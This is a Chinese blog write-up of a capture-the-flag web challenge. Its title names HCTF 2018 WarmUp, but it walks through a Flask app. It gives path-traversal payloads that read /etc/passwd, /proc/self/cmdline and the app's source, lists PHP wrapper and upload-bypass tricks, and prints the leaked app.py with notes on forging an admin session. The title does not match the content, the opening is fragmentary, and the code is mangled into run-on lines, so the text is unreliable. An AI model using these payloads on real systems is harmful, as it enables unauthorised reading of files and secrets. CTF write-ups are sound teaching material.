[HCTF 2018]WarmUp全网最详细解释_[hctf 2018]warmup的解-CSDN博客
php://filter 读取源码(文件)
php://input 执行php代码,需要post请求提交数据
Content-Type为image/jpeg text.
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht)
1.
知识点
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
随便点进一个,发现文件,可能存在任意文件读取漏洞(路径穿越漏洞),可以实现任意文件的读取。
如果一时半会不知道要读取什么,就先读linux系统都有的文件。
知识点
* /etc/passwd
* /etc/environment
* /etc/hostname
* /etc/hosts
?file=../../../../../etc/passwd
发现读取成功,确定有漏洞。
下一步是读取网站源码。
抓个包,发现服务器是python。既然是python,当前进程肯定是由python xxx.py
启动的,只要能
知道当时的命令是什么,就能获取xxx.py的名字,进而读取源码。linux确实有这么个文件,
/proc/self/cmdline:
用于获取当前启动进程的完整命令。
?file=../../../../proc/self/cmdline
大部分的python网站脚本名都是app.py。该网站使用Python框架,并且因为有app.py可知使用的是flask框架。 读取当前进程的命令行参数。?file=../../../../proc/self/cmdline。发现有一个通过python启动app.py的命令。所以该网站是一个python框架。根据app.py可以知道是flask框架。(该文件常常为flask项目结构中的主程序文件。)
尝试找到并读取app.py,在上一级目录中找到(该路径不是固定的)。读取到app.py的代码内容。
?file=../app.py
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import catflag = ""
app = Flask(__name__,static_url_path='/',static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"): # 导入flag文件并删除掉flag = cat("/flag")os.remove("/flag")@app.route('/', methods=['GET'])
def index():detailtxt = os.listdir('./details/')cats_list = []for i in detailtxt:cats_list.append(i[:i.index('.')])return render_template("index.html", cats_list=cats_list, cat=cat)@app.route('/info', methods=["GET", 'POST'])
def info():filename = "./details/" + request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")name = request.args.get('file', "")[:request.args.get('file', "").index('.')]return render_template("detail.html", catname=name, info=cat(filename, start, end))@app.route('/admin', methods=["GET"]) # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():if session.get('admin') == 1:return flagelse:session['admin'] = 0return "NoNoNo"if __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=5637)